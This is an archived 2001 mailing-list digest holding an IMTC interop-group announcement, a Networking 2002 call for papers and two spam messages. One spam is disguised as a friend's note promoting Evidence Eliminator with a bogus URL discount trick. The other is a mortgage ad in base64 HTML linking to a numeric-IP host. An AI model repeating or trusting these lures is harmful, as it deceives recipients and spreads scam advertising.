Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C157AC.5608E720
Content-Type: text/plain;
	charset="windows-1255"
Content-Transfer-Encoding: quoted-printable

Dear Sirs,
=20
During the last few weeks a Packed Switch Multimedia Streaming interop =
group
is being formed.=20
The group was established by the IMTC (International Multimedia
Telecommunication Consortium www.imtc.org <http://www.imtc.org/> ) and =
was
named PSS-AG (Activity Group).
=20
The aim of the PSS-AG is to perform an interoperability between vendors =
of
multimedia streaming servers, clients  content providers and carriers =
for 3G
wireless networks and devices. The tests will be preformed according to
3GPP=92s Technical Specifications 26.234 that can be found at
http://www.3gpp.org/ftp/Specs/2001-06/Rel-4/26_series/
<http://www.3gpp.org/ftp/Specs/2001-06/Rel-4/26_series/> .=20
=20
The main concern of the group is to enable the vendors to check their
products in an environment that touches all components participating in =
the
multimedia streaming according to the 3GPP standards. =20
=20
More information can be found at the IMTC site  www.imtc.org
<http://www.imtc.org/> /Activity Groups at the PSS-AG link Or at
adi.plaut@emblaze.com <mailto:adi.plaut@emblaze.com>=20

We encourage you to join this important effort and to make sure your
products are interoperable according to the standards.=20
=20
 =20

Adi Plaut

Multimedia Interoperability Expert=20

Chief Technology Office=20

Tel : + 972 - 3 - 5722459=20

Cell: + 972 - 55 - 224012=20

Email: adi.plaut@emblaze.com=20

Emblaze Systems

------_=_NextPart_001_01C157AC.5608E720
Content-Type: text/html;
	charset="windows-1255"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dwindows-1255">


<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT color=3D#800080 face=3DVerdana size=3D2>
<DIV><FONT color=3D#800080 face=3DVerdana size=3D2>
<DIV><SPAN class=3D768454214-07102001>Dear Sirs<SPAN=20
class=3D299405607-18102001>,</SPAN></SPAN></DIV>
<DIV><SPAN class=3D768454214-07102001></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D768454214-07102001>During the last few weeks a =
Packed Switch=20
Multimedia Streaming&nbsp;interop group is&nbsp;<SPAN=20
class=3D610364612-16102001>being&nbsp;</SPAN>formed. </SPAN></DIV>
<DIV><SPAN class=3D768454214-07102001>The group was established by the =
IMTC=20
(International Multimedia Telecommunication Consortium <A=20
href=3D"http://www.imtc.org/">www.imtc.org</A>) and was named PSS-AG =
(Activity=20
Group).</SPAN></DIV>
<DIV><SPAN class=3D768454214-07102001></SPAN>&nbsp;</DIV>
<DIV><FONT color=3D#800080 face=3DVerdana><SPAN =
class=3D768454214-07102001>The aim of=20
the PSS-AG is to perform an interoperability<SPAN =
class=3D610364612-16102001><FONT=20
color=3D#0000ff face=3DArial>&nbsp;</FONT></SPAN>between =
vendors&nbsp;of multimedia=20
streaming servers, clients&nbsp; content providers&nbsp;<SPAN=20
class=3D299405607-18102001>and carriers</SPAN><SPAN =
class=3D610364612-16102001><FONT=20
color=3D#0000ff face=3DArial>&nbsp;</FONT></SPAN>for&nbsp;<SPAN=20
class=3D299405607-18102001>3G </SPAN>wireless networks<SPAN=20
class=3D299405607-18102001> and devices</SPAN>.&nbsp;The tests will be =
preformed=20
according to 3GPP=92s Technical Specifications<SPAN =
class=3D610364612-16102001><FONT=20
color=3D#0000ff face=3DArial>&nbsp;<FONT face=3DVerdana><FONT =
color=3D#800080>26.234=20
that can be found&nbsp;<SPAN class=3D299405607-18102001>at =
</SPAN></FONT><FONT=20
color=3D#800080><A=20
href=3D"http://www.3gpp.org/ftp/Specs/2001-06/Rel-4/26_series/">http://w=
ww.3gpp.org/ftp/Specs/2001-06/Rel-4/26_series/</A></FONT></FONT></FONT><=
/SPAN>.=20
</SPAN></FONT></DIV>
<DIV><SPAN class=3D768454214-07102001></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D768454214-07102001>The main concern of the group is =
to enable=20
the vendors to check their products in an environment that&nbsp;touches =

all&nbsp;components participating in the multimedia streaming according =
to the=20
3GPP standards.&nbsp; </SPAN></DIV>
<DIV><SPAN class=3D768454214-07102001></SPAN>&nbsp;</DIV>
<DIV><FONT color=3D#800080><SPAN class=3D768454214-07102001>More =
information can be=20
found at the IMTC site&nbsp;<SPAN class=3D610364612-16102001><FONT=20
color=3D#0000ff><A href=3D"http://www.imtc.org/">www.imtc.org</A><SPAN=20
class=3D299405607-18102001><FONT=20
color=3D#800080>/Activity</FONT></SPAN>&nbsp;</FONT><FONT =
color=3D#800080><SPAN=20
class=3D299405607-18102001>Groups at the </SPAN></FONT></SPAN>PSS-AG =
link Or at <A=20
href=3D"mailto:adi.plaut@emblaze.com">adi.plaut@emblaze.com</A><BR><SPAN=
=20
class=3D610364612-16102001></SPAN></SPAN></FONT></DIV>
<DIV><SPAN class=3D768454214-07102001><SPAN =
class=3D610364612-16102001>We encourage=20
you to join this important effort and to make sure your products are=20
interoperable according to the standards.&nbsp;</SPAN></SPAN></DIV>
<DIV><SPAN class=3D768454214-07102001></SPAN>&nbsp;</DIV>
<DIV><FONT color=3D#800080 face=3DVerdana size=3D2><SPAN =
class=3D768454214-07102001>
<DIV><FONT color=3D#800080 face=3DVerdana size=3D2>&nbsp;=20
<P style=3D"MARGIN: 0cm 0cm 0pt"><FONT size=3D3><B><SPAN=20
style=3D"COLOR: purple; FONT-FAMILY: Verdana; mso-bidi-font-family: =
Verdana">Adi=20
Plaut</SPAN></B></FONT></P>
<P style=3D"MARGIN: 0cm 0cm 0pt"><B><SPAN=20
style=3D"COLOR: purple; FONT-FAMILY: Verdana; FONT-SIZE: 10pt; =
mso-bidi-font-family: Verdana">Multimedia=20
Interoperability Expert</SPAN> </B></P>
<P style=3D"MARGIN: 0cm 0cm 0pt"><B><SPAN=20
style=3D"COLOR: purple; FONT-FAMILY: Verdana; FONT-SIZE: 10pt; =
mso-bidi-font-family: Verdana">Chief=20
Technology Office</SPAN></B><SPAN=20
style=3D"COLOR: purple; FONT-FAMILY: Verdana; FONT-SIZE: 10pt; =
mso-bidi-font-family: Verdana">=20
</SPAN></P>
<P style=3D"MARGIN: 0cm 0cm 0pt"><SPAN=20
style=3D"COLOR: purple; FONT-FAMILY: Verdana; FONT-SIZE: 10pt; =
mso-bidi-font-family: Verdana">Tel=20
: + 972 - 3 - 5722459 </SPAN></P>
<P style=3D"MARGIN: 0cm 0cm 0pt"><SPAN=20
style=3D"COLOR: purple; FONT-FAMILY: Verdana; FONT-SIZE: 10pt; =
mso-bidi-font-family: Verdana">Cell:=20
+ 972 - 55 - 224012</SPAN> </P>
<P style=3D"MARGIN: 0cm 0cm 0pt"><SPAN style=3D"COLOR: =
purple">Email:</SPAN><U>=20
<SPAN style=3D"COLOR: blue">adi.plaut@emblaze.com =
</SPAN></U></P><B><SPAN=20
style=3D"COLOR: purple; FONT-FAMILY: 'Times New Roman'; FONT-SIZE: =
12pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: =
EN-US; mso-fareast-language: EN-US; mso-bidi-language: HE">Emblaze=20
Systems</SPAN></B></FONT></DIV></SPAN></FONT></DIV></FONT></DIV></FONT><=
/DIV></BODY></HTML>

------_=_NextPart_001_01C157AC.5608E720--

From confctrl-owner  Thu Oct 18 06:26:13 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA29918
	for confctrl-outgoing; Thu, 18 Oct 2001 06:26:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA29906
	for <confctrl@zephyr.isi.edu>; Thu, 18 Oct 2001 06:26:11 -0700 (PDT)
Received: from hotmail.com (ESS-p-144-138-78-122.mega.tmns.net.au [144.138.78.122])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id f9IDQVg02924;
	Thu, 18 Oct 2001 06:26:31 -0700 (PDT)
From: <Barrydarry@hotmail.com>
Subject: David - That thingy you wanted
Date: Thu, 18 Oct 2001 23:24:20
Message-Id: <565.395704.519403@hotmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



David,
 
Heres the link to that site you wanted,
 
http://www.evidence-eliminator.com/go.shtml?A654477

By the way, remember my mate Paul from London, well check this out.  
 
He knows one of the team at Robin Hood Software the makers of this product, now, if you click on the 
above link & when you get there, just add ++ after the A65477 bit in the address bar,
 it gives it to you for half price.
 
Pretty fucking good eh!.  You owe me for this one mate, OK

Anyway, about Anne-Marie's Birthday Dinner,  I can't make it as I will be away that week.  
Do me a favour will you, tell her I am sorry and we will have to go out for dinner when I get back.  My shout.
 
Ok, Got to go mate, catch ya when I get back,
 
See ya mate

Bazza

From confctrl-owner  Thu Oct 18 07:10:48 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA02958
	for confctrl-outgoing; Thu, 18 Oct 2001 07:10:48 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA02953
	for <confctrl@zephyr.isi.edu>; Thu, 18 Oct 2001 07:10:46 -0700 (PDT)
Received: from color.sics.se (color.sics.se [193.10.66.199])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9IEB8g12905
	for <confctrl@isi.edu>; Thu, 18 Oct 2001 07:11:09 -0700 (PDT)
Received: from scheutz.sics.se (scheutz.sics.se [193.10.66.136])
	by color.sics.se (8.9.3/8.9.3) with ESMTP id QAA24583;
	Thu, 18 Oct 2001 16:11:06 +0200 (MET DST)
Received: (from lmfeeney@localhost)
	by scheutz.sics.se (8.9.3+Sun/8.9.1) id QAA21963;
	Thu, 18 Oct 2001 16:11:06 +0200 (MET DST)
Date: Thu, 18 Oct 2001 16:11:06 +0200 (MET DST)
Message-Id: <200110181411.QAA21963@scheutz.sics.se>
X-Authentication-Warning: scheutz.sics.se: lmfeeney set sender to lmfeeney@scheutz.sics.se using -f
From: Laura Feeney <lmfeeney@sics.se>
To: confctrl@ISI.EDU
Subject: CFP: Networking 2002 (EXTENDED submission deadline 011031)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


[Our apologies if you receive multiple copies of this CFP.]


EXTENDED SUBMISSION DEADLINE: OCTOBER 31, 2001


Announcement and Call for Papers

NETWORKING 2002

The Second IFIP-TC6 Networking Conference
http://www.cnuce.pi.cnr.it/Networking2002

May 19-24 2002, Pisa - Italy

Networking is the biennial Conference on Networking of the IFIP 
Technical Committee on Communication Systems (TC6). Networking 2002 
is the second conference of this series --the first event was held in 
Paris, May 2000-- and is sponsored by the IFIP working groups on 
Network and Internetwork Architectures (WG 6.2), Performance of 
Communication Systems (WG 6.3), and Wireless Communications (WG 6.8).

Networking 2002 is organized into three tracks: i) Networking 
Technologies, Services and Protocols; ii) Performance of Computer and 
Communication Networks; iii) Mobile and Wireless Communications 
Systems.

The Networking 2002 technical program committee is soliciting papers 
describing original, previously unpublished, completed research, not 
currently under review by another conference or journal, addressing 
state-of-the-art research and development in all areas of computer 
networking and data communications. Special sessions will be 
dedicated to hot topics such as: Mobile Internet, QoS in Internet, 
wireless local and personal area networks, 3G wireless systems, 
mobile ad-hoc networks. A detailed list of topics of interest can be 
found at: http://www.cnuce.pi.cnr.it/Networking2002/CFP.htm


PAPER SUBMISSION AND PUBLICATION
=================================

Papers must be submitted electronically according to the instructions 
described in http://www.cnuce.pi.cnr.it/Networking2002 . All papers 
will be reviewed by the program committee. Accepted papers will 
appear in the conference proceedings published by Springer-Verlag in 
the LNCS series. The conference best paper will be award a prize by 
IFIP-TC6. Authors of selected papers will be invited to submit 
extended version of their papers for possible publication in special 
issues of Cluster Computing (Kluwer), ACM/Kluwer Wireless Networks 
(WINET), and Performance Evaluation journals.

IMPORTANT DATES
===============

Full papers due:	October 15, 2001
Notification:		January 30, 2002
Camera Ready due:	March 15, 2002


EXECUTIVE COMMITTEE
===================

GENERAL CHAIR: Enrico Gregori, National Research Council, Italy

GENERAL VICE-CHAIR: Ioannis Stavrakakis, University of Athens, Greece

TECHNICAL PROGRAM CHAIR: Marco Conti, National Research Council, Italy

SPECIAL TRACK CHAIR for Networking Technologies, Services and 
Protocols: Andrew T. Campbell, Columbia University, USA

SPECIAL TRACK CHAIR for Performance of Computer and Communication 
Networks: Moshe Zukerman, University of Melbourne, Australia

SPECIAL TRACK CHAIR for Mobile and Wireless Communications Systems: 
Guy Omidyar, National University of Singapore

TUTORIAL PROGRAM CHAIRS:
         Giuseppe Anastasi, University of Pisa, Italy
         Stefano Basagni, University of Texas at Dallas, USA

ORGANIZATION CHAIR: Stefano Giordano, University of Pisa, Italy

PUBLICITY CHAIRS:
         Silvia Giordano, Federal Inst. of Technology Lausanne (EPFL), 
Switzerland
         Laura Feeney, SICS, Sweden

STEERING COMMITTEE CHAIR: Harry Perros, North Carolina State University, USA

STEERING COMMITTEE MEMBERS:

         Augusto Casaca, IST/INESC, Portugal
         S. K. Das, The University of Texas at Arlington, USA
         Erol Gelenbe, University of Central Florida, USA
         Harry Perros, NCSU, USA (Chair)
         Guy Pujolle, University of Paris 6, France
         Harry Rudin, Switzerland
         Jan Slavik, TESTCOM, Czech Republic
         Hideaki Takagi, University of Tsukuba, Japan
         Samir Thome, ENST, France
         Adam Wolisz, TU-Berlin, Germany


TECHNICAL PROGRAM COMMITTEE MEMBERS

Special Track for Networking Technologies, Services and Protocols

	Ian Akyldiz, Georgia Institute of Technology, USA
	Edoardo Biagioni, University of Hawai'i at Manoa, USA
	Giuseppe Bianchi, University of Palermo, Italy
	Claude Castellucia, INRIA, France
	Piergiorgio Cremonese, Netikos, Italy
	Jon Crowcroft, Cambridge University, UK
	Christophe Diot , Sprint, USA
	Serge Fdida, Universite Pierre et Marie Curie, France
	Luigi Fratta, Politecnico di Milano, Italy
	Maurice Gagnaire, ENST, France
	Dieter Gantenbein, IBM Research Laboratory - Zurich, Switzerland
	Per Gunningberg, Uppsala University, Sweden
	Salim Hariri, The University of Arizona, USA
	David Hutchison, Lancaster University, UK
	Bijan Jabbari, George Mason University, USA
	Mohan Kumar, The University of Texas at Arlington, USA
	Alfio Lombardo, University of Catania, Italy
	Nicholas F. Maxemchuk, Columbia University, USA
	Derek McAuley, Marconi Labs, Cambridge, UK
	Refik Molva, Institut Eurécom, France
	Guido H. Petit, Alcatel, Belgium
	Chiara Petrioli, University "La Sapienza" Rome, Italy,
	Luigi Rizzo, Univeristy of Pisa, Italy
	Roberto Sabella, Ericsson, Italy
	Andras Valko, Ericsson, Sweden
	Lars Wolf, University of Karlsruhe, Germany
	Stefano Zatti, ESA/ESRIN, Italy

Special Track for Performance of Computer and Communication Networks

	Ron Addie, University of Southern Queensland, Australia
	Marco Ajmone, Marsan Politecnico di Torino, Italy
	Eitan Altman, INRIA, France
	Andrea Baiocchi, University "La Sapienza" Rome, Italy
	Chris Blondia, University of Antwerp, Belgium
	Herwig Bruneel, University of Ghent, Belgium
	Werner Bux, IBM Research Laboratory - Zurich, Switzerland
	Mariacarla Calzarossa, University of Pavia, Italy
	Olga Casals, Universitat Politecnica de Catalunya, Spain
	David Everitt, Swinburne University of Technology, Australia
	Nelson Fonseca, State University of Campinas, Brazil
	Peter Harrison, Imperial College, UK
	Farouk Kamoun, Tunisia
	Peter Key, Microsoft Research Ltd, Cambridge, UK
	Ulf Korner, Lund University, Sweden
	Demetres Kouvatsos, University of Bradford, UK
	Debasis Mitra, AT&T Bell Laboratories, USA,
	Sandor Molnar, Budapest University of Technology and Economics, Hungary
	Ilkka Norros, VTT, Finland
	Ramon Puigjaner, Universitat de les Illes Balears, Spain
	Jim Roberts, France Telecom, France
	Yutaka Takahashi, Kyoto University, Japan
	Don Towsley, University of Massachusetts, USA
	Phuoc Tran-Gia, University of Wuerzburg, Germany
	Jorma Virtamo, Helsinki University of Technology, Finland
	Maria C. Yuang, National Chiao Tung University, Taiwan


Special Track for mobile and wireless communications:

	Victor Bahl, Microsoft Research, USA
	Roberto Battiti, University of Trento, Italy
	Azzedine Boukerche, University of North Texas, USA
	Franco Davoli, University of Genova, Italy
	Khaled Elsayed, Cairo University, Egypt
	Anthony Ephremides, University of Maryland, USA
	Kari-Pekka Estola, Nokia Research Center, Finland
	Laura M. Feeney, SICS, Sweden
	Gabor Fodor, Ericsson, Sweden
	Jerome Galtier, INRIA, France
	Mario Gerla, University of California at Los Angeles, USA
	Silvia Giordano, ICA-DSC-EPFL, Switzerland
	Zygmunt Haas, Cornell University, USA
	Pascal Lorenz, Universite de Haute Alsace, France
	Thomas Luckenback, GMD-Fokus, Germany
	Gerald Maguire, Royal Institute of Technology, Sweden
	Stephan Olariu, Old Dominion University, USA
	George Polyzos, Athens University of Economics and Business, Greece
	Jiang Shengming, National University of Singapore, Singapore
	Violet R. Syrotiu, University of Texas at Dallas, USA
	Ivan Stojmenovic, University of Ottawa, Canada
	Terry Todd, McMaster University, Canada
	Nitin Vaidya, Texas A&M University, USA
	Roberto Verdone, CSITE - CNR, Italy
	Jeff Wieselthier, Naval Research Laboratory, USA



From confctrl-owner  Sat Oct 20 02:31:38 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA19656
	for confctrl-outgoing; Sat, 20 Oct 2001 02:31:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA19644
	for <confctrl@zephyr.isi.edu>; Sat, 20 Oct 2001 02:31:36 -0700 (PDT)
Received: from server12.safepages.com (server12.safepages.com [216.127.146.26])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9K9Vvg02785;
	Sat, 20 Oct 2001 02:31:57 -0700 (PDT)
Received: from localhost (unknown [65.138.137.74])
	by server12.safepages.com (Postfix) with ESMTP
	id 25CAF1360EC; Sat, 20 Oct 2001 09:31:32 +0000 (GMT)
X-Sender: sronalds@phastnet.com
From: Ronald Samuels <sronalds@phastnet.com>
To: "Mortgage Borrower" <sronalds@phastnet.com>
Date: Sat, 20 Oct 2001 02:41:47 -0700
Subject: Need a Home Loan? Let Us Help!
Reply-To: sronalds@phastnet.com
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_001__60345726_9707.64"
Message-Id: <20011020093132.25CAF1360EC@server12.safepages.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a Multipart MIME message.

------=_NextPart_000_001__60345726_9707.64
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit





------=_NextPart_000_001__60345726_9707.64
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: base64

DQoNCjxIVE1MPg0KDQo8aGVhZD4NCjxNRVRBIEhUVFAtRVFVSVY9IkNvbnRlbnQtVHlwZSIg
Q09OVEVOVD0idGV4dC9odG1sO2NoYXJzZXQ9aXNvLTg4NTktMSI+DQo8IURPQ1RZUEUgSFRN
TCBQVUJMSUMgIi0vL1czQy8vRFREIEhUTUwgNC4wIFRyYW5zaXRpb25hbC8vRU4iPg0KPFRJ
VExFPkZyZWUgUmF0ZSBRdW90ZTwvVElUTEU+DQo8TUVUQSBjb250ZW50PSJ0ZXh0L2h0bWw7
IGNoYXJzZXQ9aXNvLTg4NTktMSIgaHR0cC1lcXVpdj1Db250ZW50LVR5cGU+PFhNRVRBIA0K
Y29udGVudD0iTW96aWxsYS80LjcgW2VuXSAoV2luOTg7IEkpIFtOZXRzY2FwZV0iIG5hbWU9
IkdFTkVSQVRPUiI+DQo8TUVUQSBjb250ZW50PSJNaWNyb3NvZnQgRnJvbnRQYWdlIDQuMCIg
bmFtZT1HRU5FUkFUT1I+DQo8U1RZTEU+PC9TVFlMRT4NCjwvSEVBRD4NCjxCT0RZIGJhY2tn
cm91bmQ9aHR0cDovLzMyNDkzMDk2NTAvbW9uZXlfZ3IuanBnIGJnQ29sb3I9I2ZmZmZmZiBi
Z3Byb3BlcnRpZXM9ImZpeGVkIj4NCjxESVYgc3R5bGU9IkZPTlQ6IDEwcHQgYXJpYWwiPg0K
PERJVj4mbmJzcDs8L0RJVj48L0RJVj4NCjxESVY+PEJSPjwvRElWPg0KPEJSPg0KPFAgYWxp
Z249Y2VudGVyPjxiPjxpPjxmb250IGNvbG9yPSIjMDAwMGZmIiBmYWNlPSJCcnVzaCBTY3Jp
cHQgTVQiIHNpemU9IjUiPiZxdW90O0FsbCBvdXIgdGhvdWdodHMsIHByYXllcnMgYW5kIGxv
dmUgZ28gb3V0IHRvIHRoZSBmYW1pbGllcyBhbmQgZnJpZW5kcyBvZiB0aGUgdmljdGltcyBv
ZiB0aGUgV29ybGQgVHJhZGUgQ2VudGVyIHRyYWdlZHkuJnF1b3Q7PC9mb250PjwvaT48L2I+
PC9QPg0KDQo8UCBhbGlnbj1jZW50ZXI+PGVtPjxiPjxmb250IGNvbG9yPSIjZmYwMDAwIiBz
aXplPSI2IiBmYWNlPSJhcmlhbCI+JnF1b3Q7UmVmaW5hbmNlIFlvdXINCkN1cnJlbnQgTW9y
dGdhZ2UgV2hpbGUgUmF0ZXMgQXJlIExPVyEhJnF1b3Q7PC9mb250PjwvYj48L2VtPjwvUD4N
CjxNQVJRVUVFPjxpPjxiPjxGT05UIHNpemU9NCBjb2xvcj0jMDAwMGZmPkhPTUUgRVFVSVRZ
IExPQU5TICoqKiBKVU1CTyBMT0FOUyAqKiogSE9NRSBJTVBST1ZFTUVOVCBMT0FOUyAqKiog
DQogICAgICBERUJUIENPTlNPTElEQVRJT04gTE9BTlMgKioqIFJFRklOQU5DRSBMT0FOUyAq
KiogQUxMIEFSRSBBVkFJTEFCTEUgVE8gWU9VICoqKiBSQVRFUyBBUyBMT1cgQVMgDQogICAg
ICAzLjk1JTwvZm9udD48L2I+PC9pPjwvbWFycXVlZT4NCjxCUj48QlI+DQo8cCBhbGlnbj0i
Y2VudGVyIj48Yj48Zm9udCBzaXplPSI0Ij5Nb3J0Z2FnZSBSYXRlcyBBcmUgU28gTG93ISZu
YnNwOzwvZm9udD48L2I+PC9wPg0KPHAgYWxpZ249ImNlbnRlciI+PGI+PGZvbnQgc2l6ZT0i
NCI+WW91IENhbiBTYXZlIFRob3VzYW5kcyBPZiBEb2xsYXJzIEJ5IFRha2luZw0KQWR2YW50
YWdlIE5vdyE8L2ZvbnQ+PC9iPjwvcD4NCjxQIGFsaWduPWNlbnRlcj48RU0+PEI+PEZPTlQg
Y29sb3I9I2ZmMDAwMCBzaXplPTU+JnF1b3Q7V0UgQVJFIEFOIEFTU09DSUFUSU9OIE9GDQpN
T1JUR0FHRSBCUk9LRVJTIEFORCBMRU5ERVJTIDwvRk9OVD48L0I+PC9FTT48L1A+DQo8UCBh
bGlnbj1jZW50ZXI+PEVNPjxCPjxGT05UIGNvbG9yPSNmZjAwMDAgc2l6ZT01PldJVEggVEhF
IEJFU1QgUkFURVMgQU5EIFRIRSBMT1dFU1QNCkNPU1RTISZxdW90PC9GT05UPjwvQj48L0VN
PjwvUD4NCjxwIGFsaWduPSJjZW50ZXIiPiZuYnNwOzwvcD4NCjxQIGFsaWduPWNlbnRlcj48
Rk9OVCBjb2xvcj0jMDAwMGZmIHNpemU9ND48Qj5XZSZuYnNwO2hhdmUgdGhvdXNhbmRzIG9m
IGxvYW4gDQpwcm9ncmFtcyB0aHJvdWdoIGh1bmRyZWRzIG9mIGxlbmRlcnMhPEJSPjwvQj48
L0ZPTlQ+PEZPTlQgc2l6ZT0zPjwvRk9OVD48L1A+DQo8UCBhbGlnbj1jZW50ZXI+PFNUUk9O
Rz48Rk9OVCBzaXplPTU+WW91IGNhbiBjaG9vc2UgZnJvbSZuYnNwOyJBZGp1c3RhYmxlIFJh
dGUNCk1vcnRnYWdlcyANCmFzIGxvdyBhcyAzLjk1JSZxdW90OzwvRk9OVD48L1NUUk9ORz48
L1A+DQo8UCBhbGlnbj1jZW50ZXI+PFNUUk9ORz48Rk9OVCBzaXplPTU+YW5kJm5ic3A7IkZp
eGVkIFJhdGUgTW9ydGdhZ2VzIGFzIGxvdyBhcw0KNS41MCUmbmJzcDs8L0ZPTlQ+PC9TVFJP
Tkc+PC9QPg0KPFAgYWxpZ249Y2VudGVyPjxTVFJPTkc+PEZPTlQgc2l6ZT01PmFsbCB3aXRo
IHRoZSBsb3dlc3QgY29zdHMgaW4gdGhlDQpOYXRpb24hJnF1b3Q7PC9GT05UPjwvU1RST05H
PjxCSUc+PEJJRz48Rk9OVCBjb2xvcj0jZmYwMDAwPio8L0ZPTlQ+PC9CSUc+PC9CSUc+PC9Q
Pg0KPFAgYWxpZ249Y2VudGVyPjxGT05UIA0Kc2l6ZT01Pjxmb250IGNvbG9yPSIjRkYwMDAw
Ij4mcXVvdDs8Yj48aT5ZT1UgQ0FOIDx1PkJVWSBET1dOIFlPVVIgSU5URVJFU1QgUkFURTwv
dT4NClRPPC9pPjwvYj48L2ZvbnQ+PC9GT05UPjwvUD4NCjxQIGFsaWduPWNlbnRlcj48Zm9u
dCBjb2xvcj0iI0ZGMDAwMCIgc2l6ZT0iNSI+PGI+PGk+QVMgTE9XIEFTIFlPVSBDQU4NCkFG
Rk9SRCEmcXVvdDs8L2k+PC9iPjwvZm9udD48Rk9OVCANCnNpemU9NT48QlI+PC9GT05UPjxG
T05UIHNpemU9Mz48L0ZPTlQ+PC9QPg0KPFAgYWxpZ249Y2VudGVyPjxGT05UIHNpemU9KzA+
PEZPTlQgY29sb3I9IzAwMDBmZiBzaXplPTI+PEJJRz48QklHPjxGT05UIA0KY29sb3I9I2Zm
MDAwMCBzaXplPTU+KjwvRk9OVD48L0JJRz48U1RST05HPkFsbCByYXRlcyBhcmUgYmFzZWQg
b24gDQpxdWFsaWZpY2F0aW9uPC9TVFJPTkc+ITwvQklHPjwvRk9OVD48L0ZPTlQ+PC9QPg0K
PFAgYWxpZ249Y2VudGVyPjxGT05UIHNpemU9KzA+PEZPTlQgc2l6ZT0yPjxCSUc+PC9CSUc+
PC9GT05UPjxGT05UIA0KY29sb3I9IzAwMDBmZj48Rk9OVCBmYWNlPUFyaWFsPjxGT05UIHNp
emU9Mj48QSBocmVmPSJodHRwOi8vMzI0OTMwOTY1MCIgDQp0YXJnZXQ9X2JsYW5rPjxGT05U
IHNpemU9NT48U1RST05HPjxGT05UIGZhY2U9IlRpbWVzIE5ldyBSb21hbiI+Q2xpY2sgaGVy
ZSBmb3IgDQp5b3VyIDwvRk9OVD48Rk9OVCBzaXplPTY+PEZPTlQgZmFjZT0iVGltZXMgTmV3
IFJvbWFuIj48RU0+IkZSRUUgUkFURSANClFVT1RFIiE8L0VNPjwvRk9OVD48L0ZPTlQ+PC9T
VFJPTkc+PC9GT05UPjwvQT48L0ZPTlQ+PC9GT05UPjwvRk9OVD48L0ZPTlQ+PC9QPg0KPFAg
YWxpZ249bGVmdD4mbmJzcDs8L1A+DQo8UCBhbGlnbj1sZWZ0PjxpPjxiPjxmb250IGZhY2U9
IkFyaWFsIiBzaXplPSIrMCI+Q0xJQ0sgT04gTE9BTlMgQkVMT1cgRk9SIFlPVVINCkZSRUUg
QVBQTElDQVRJT04hPC9mb250PjwvYj48L2k+PEZPTlQgZmFjZT1BcmlhbD48QlI+PC9GT05U
PjwvUD4NCjxQIGFsaWduPWxlZnQ+PFNUUk9ORz48RU0+PEEgaHJlZj0iaHR0cDovLzMyNDkz
MDk2NTAiIA0KdGFyZ2V0PV9ibGFuaz48Zm9udCBzaXplPSI1IiBjb2xvcj0iIzgwMDA4MCI+
UHVyY2hhc2UgTG9hbnM8L2ZvbnQ+PC9BPiA8Rk9OVCBzaXplPTU+DQo8L0ZPTlQ+IDwvRU0+
PEZPTlQgDQpzaXplPTQ+LSA8RU0+VGhvdXNhbmRzIG9mIHByb2dyYW1zIA0KZm9yIEZpcnN0
IE1vcnRnYWdlcyE8L0VNPjwvRk9OVD48ST48L0k+PC9TVFJPTkc+PEk+PEZPTlQgDQpjb2xv
cj0jMDAwMDAwPjxCUj48QlI+PC9GT05UPjwvST48QSBocmVmPSJodHRwOi8vMzI0OTMwOTY1
MCIgX2JsYW5rPz48RU0+PFNUUk9ORz48Zm9udCBzaXplPSI1IiBjb2xvcj0iIzgwMDA4MCI+
UmVmaW5hbmNlIExvYW5zPC9mb250PjwvU1RST05HPjwvRU0+PEk+PEZPTlQgDQpjb2xvcj0j
MDAwMDAwIHNpemU9Mj4gPC9GT05UPjwvST48L0E+PEk+PEZPTlQgY29sb3I9IzAwMDAwMCBz
aXplPTQ+LSA8Qj5SZWR1Y2UgeW91ciANCm1vbnRobHkgcGF5bWVudHMgYW5kPC9GT05UPjxG
T05UIGNvbG9yPSMwMDAwMDAgc2l6ZT0yPiA8L0ZPTlQ+PEZPTlQgDQpjb2xvcj0jZmYwMDAw
IHNpemU9NT5HZXQgQ2FzaCBCYWNrITwvRk9OVD48L0I+PEZPTlQgY29sb3I9IzAwMDAwMCBz
aXplPTQ+IA0KPC9GT05UPjxGT05UIGNvbG9yPSMwMDAwMDAgc2l6ZT0zPjxCUj48QlI+PC9G
T05UPjwvST48QSANCmhyZWY9Imh0dHA6Ly8zMjQ5MzA5NjUwIiB0YXJnZXQ9X2JsYW5rPjxm
